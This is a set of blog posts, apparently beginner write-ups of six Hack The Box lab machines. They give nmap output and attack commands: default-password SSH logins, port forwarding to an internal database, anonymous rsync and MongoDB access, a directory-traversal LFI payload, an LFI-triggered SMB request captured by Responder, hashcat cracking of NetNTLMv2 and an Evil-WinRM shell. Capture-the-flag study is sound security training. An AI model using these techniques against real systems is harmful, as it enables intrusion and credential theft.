DEV Community: Jung

HTB - Funnel

Jung — Tue, 08 Sep 2026 22:58:23 +0000

OS: Linux
Difficulty: Very Easy

After doing nmap enumeration:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.243
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds was 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)

Obtained 2 open ports for ftp and ssh

Anonymous FTP login allowed (FTP code 230) -> This indicates that the FTP server on the target machine allows anonymous FTP login, so I thought I could try connecting to it as the anonymous user.

For anonymous login credentials:
Username: anonymous
Password: anonymous

After connecting via FTP, I found two files: 1 PDF containing the password policy and 1 welcome text file -> Downloaded both of them using the get command.

Within the passwordpolicy.pdf:

I found that the default password for new accounts is funnel123#!#.

I figured that the welcome text message would contain the names of people who had recently joined the company, and I was right:

Since I knew:

the default password
the names of the newly joined people
the SSH port was open

Maybe there could be a user who had not changed their default password, so I tried to SSH into the target machine using the names and the default password. I ultimately found out that Christine had not changed her default password and was able to get an SSH connection.

I used the hint from HTB to use the command ss -tl, which means "Show me all TCP ports on this machine that are listening for incoming connections."

From here, I found that there was a PostgreSQL service running locally on the target machine (127.0.0.1:5432).

Since I was connected as Christine, I immediately ran the command psql -h 127.0.0.1 -p 5432, but it failed because psql was not installed. I couldn't install it manually either since it required sudo access, and I didn't know the root password.

I got stuck and had to rely on the hint, where I learned about SSH tunneling and port forwarding.

I learned about Local Port Forwarding, and if I were to phrase it in my own words -> If I talk to port 5555 on my Kali machine while connected to the target machine, forward that traffic to port 5432 running on the target machine.

The vice versa would be Remote Port Forwarding, and we use it when the target remote machine sends traffic to its local port and we want that traffic to reach our local machine instead.

ssh -L 5555:127.0.0.1 christine@10.129.160.250
So what this command is doing, the mental model would be: "Open a port on MY machine and forward anything arriving there through SSH to a port on the remote machine."

To put it simply, the SSH connection is giving us a pathway for network traffic generated within our Kali machine to reach the target machine.

So now we can run the following command on our Kali machine: psql -h 127.0.0.1 -U christine -p 5555 -> "i want to connect to postgresql database running in my kali machine on port 5555" but this connection network traffic actually gets forwarded to the 127.0.0.1:5432 on funnel machine instead due to pre-configured ssh tunnel"

Once we get connected to the PostgreSQL database as Christine, we can navigate through the database and get the flag.

HTB - Synced

Jung — Tue, 08 Sep 2026 22:58:09 +0000

OS: Linux
Difficulty: Very Easy

After nmap enumeration, we will find:

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)

rsync is a tool for copying and synchronizing files between machines.

We can make use of rsync command to get access to files within the exposed share/module. In this machine, there is a flag.txt within the module called public

For command syntax and options available for rsync can be found in rsync --help

What I did was to download the flag.txt on my own kali machine via:
rsync -a -v rsync://10.129.160.164:873/public/flag.txt ./

and read the flag

I got to learn that port 873 is commonly associated with the rsync service, and if an rsync share allows anonymous access, we may be able to enumerate and access files stored on the target server.

HTB - Mongod

Jung — Tue, 08 Sep 2026 22:57:57 +0000

OS: Linux
Difficulty: Very Easy

After doing nmap enumeration, we will see one TCP port 27017 which refers to MongoDB

Whenever we see such port open, we can try to connect to it and access the database via mongosh aka MongoDB Shell

You can download MongoDB Shell here:

Unzip it
dpkg-deb -x mongodb-mongosh_2.10.0_amd64.deb --extract <directory that you want>

Go to the bin folder and execute the mongo shell command
./mongosh mongodb://10.129.228.30:27017

For syntax, you can check in mongosh --help

Once connected, you can interact with following commands:
show dbs -> Show all databases
use <dbs name> -> Choose database
show collections -> Show all collections in the chosen database
db.<collection>.find() -> Dump the content of all the documents within the collection named

to find the flag

We get to learn how to identify MongoDB service as well as connecting to the database from this machine

HTB - Responder

Jung — Tue, 08 Sep 2026 22:57:46 +0000

OS: Windows
Difficulty: Very Easy

As usual, I started by enumerating the target’s open ports and services.

nmap -p- --min-rate 1000 -sV <IP>

The scan revealed:

80/tcp    open    http
5985/tcp  open    wsman

Port 80 indicated a web server, while port 5985 indicated WinRM (Windows Remote Management).

While exploring the website, I noticed that the language selection changed the URL to something similar to:

/index.php?page=french.html

The page parameter immediately stood out because it appeared to control which file the application loaded.

This led me to test whether the parameter was vulnerable to Local File Inclusion (LFI).

I did not know so I had to search google and AI but a common way of testing for LFI is attempting to access a known file on the target system using directory traversal:

../../../../../../../../windows/system32/drivers/etc/hosts

The resulting request looked like:

http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

The contents of the Windows hosts file were returned, confirming that the application was vulnerable to LFI.

Hence, whenever I see a parameter that appears to accept a filename or path, such as:

?page=
?file=
?path=
?include=
?template=

because there is always a chance where there is no proper sanitization done on the parameter, which we will be able to pass malicious input and therefore view the internal system files

⸻

I already had two important pieces of information:

The target was a Windows machine.
We had an LFI vulnerability that allowed us to control what resource the server attempted to access.

I mean the name of the machine kind of gave it away, but I probably wouldn’t have thought of using Responder if I hadn’t learned about it through the PJPT certification course material.

⸻
The following is the section of the note I personally made while studying for PJPT exam which is very relevant to this machine:

Windows Assumes Every Remote Share Requires Authentication

Windows operating systems are designed around seamless single sign-on (SSO). When you type \\<IP> in the File Explorer on our Desktop / Laptop or in this challenge within the URL -> http://unika.htb?page=\\<ip of attacker machine>/somefile:

Windows treats that IP address as a remote Windows File Server.
Windows assumes, "To show this user their network shares, I need to introduce who is currently logged in."
File Explorer / victim website automatically initiates an SMB session on port 445 and sends an authentication request in the background—before it even checks whether the remote folder exists or allows anonymous access.

File Explorer Can't Use Kerberos on IP Addresses

In an Active Directory domain, Kerberos is the default authentication protocol. However, Kerberos requires a domain name (FQDN) to look up Service Principal Names (SPNs) in Active Directory (e.g., \\fileserver.marvel.local).

Because we typed an IP address \\192.168.76.133/somefile instead of a domain name:

Windows cannot issue a Kerberos ticket for an raw IP.
Windows automatically falls back to NTLM authentication.

⸻

Responder Pretended to Be an SMB Server

Your Kali machine wasn't passively sniffing traffic—Responder was running a fake SMB server listening on port 445.

When the victim machine reached out to your IP asking to connect, Responder acted like a compliant SMB server:

Victim: "Hi 192.168.76.133, I want to access your shares as MARVEL\fcastle."
Responder: "Sure! Prove it's really you. Here is a random challenge code (5fd0a679742e7eba). Encrypt this code with your password hash and send it back."
Victim: Encrypts the challenge using fcastle's password hash and sends the response back to Kali.

Responder took that encrypted response, logged it to your terminal as a NetNTLMv2 hash, and dropped the connection.

⸻

Copy the NTLMv2 Hash into a text file and use hashcat to try cracking the password because there is a chance where a weak password has been used. There are other alternatives such as John the Ripper
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

-m refers to mode and 5600 corresponds to the NTLMv2. For other modes we can discover them via hashcat --help

hashcat will then crack the password if there is a match (you can use --show option to show the previously cracked result without having to crack again if you lost the result in the terminal)

But I think the actual password for this machine was badminton

⸻

WinRM

The original Nmap scan also showed:

5985/tcp open wsman

I learned that this is the default HTTP port commonly used by Windows Remote Management (WinRM).

Once we recovered valid credentials, we could use them to authenticate to WinRM.

I did not know the command so I had to use AI to search up for this part. A common tool for interacting with WinRM from Linux is Evil-WinRM:

evil-winrm -i <IP> -u administrator -p <password>

In this case:

evil-winrm -i -u administrator -p badminton

This provided a remote shell on the Windows machine and finally retrieve the flag

⸻

Looking back, the complete chain was:

Nmap
↓
Discover HTTP + WinRM
↓
Enumerate website
↓
Discover name-based virtual host
↓
Discover page parameter
↓
Identify LFI
↓
Understand Windows SMB authentication
↓
Use LFI to trigger SMB connection
↓
Responder captures NetNTLMv2
↓
Hashcat cracks the password
↓
Recovered Administrator credentials
↓
Connect through WinRM

⸻

Key Takeaways

Don’t stop at the obvious vulnerability

Finding LFI doesn’t necessarily mean the end goal is simply reading /etc/passwd or the Windows hosts file.

Ask:

What else can I make the vulnerable application access?

Understanding the underlying system can reveal completely different attack paths.

Pay attention to the operating system

Knowing that the target is Windows changed the direction of the attack.

Windows introduced concepts such as:

* SMB
* NTLM
* NetNTLMv2
* WinRM
* Active Directory

Because the same vulnerability on a Linux target could potentially lead to a very different attack chain.

Open ports tell you about possible future attack paths

The initial scan showed both:

80/tcp
5985/tcp

At first, WinRM wasn’t immediately useful because we didn’t have credentials.

After obtaining the Administrator password, however, that previously discovered service became the way to obtain a remote shell.

This reinforced the importance of keeping track of all discovered services, even if they aren’t immediately exploitable.

⸻

Final Thoughts

The biggest lesson from this machine was the importance of connecting concepts together.

A web vulnerability, Windows SMB authentication, NTLM, Responder, password cracking, and WinRM might initially look like completely separate topics.

But during an actual assessment, they can form one continuous attack chain:

Web vulnerability → Windows authentication → credential capture → credential recovery → remote access

That’s the kind of pattern I want to focus on documenting here—not just how to solve a particular machine, but how the pieces fit together and what I can carry forward to the next one.

HTB - Preignition

Jung — Tue, 08 Sep 2026 22:57:34 +0000

OS: Linux
Difficulty: Very Easy

When we find an open TCP port 80, it is worth enumerating the web server for hidden directories and files. These may expose useful endpoints such as /admin, login pages, configuration files, or other functionality that is not immediately visible from the main page.

One way to perform directory enumeration is with Gobuster.
'gobuster dir -u http:// -w -x '

Directory and file enumeration can reveal additional attack surface that is not linked or exposed directly from the main page.

HTB - Explosion

Jung — Sun, 06 Sep 2026 21:35:53 +0000

OS: Windows
Difficulty: Very Easy

When we see a TCP port 3389 is open, trying xfreerdp is a reasonable next step

One example of command is:
xfreerdp /v:<ip> /u:<username> /p:<password> /cert:ignore

For this machine, the creator purposely made the password blank so we could log in using Administrator account but usually this is not the case. However, it was my first time coming across xfreerdp command so it was a still good learning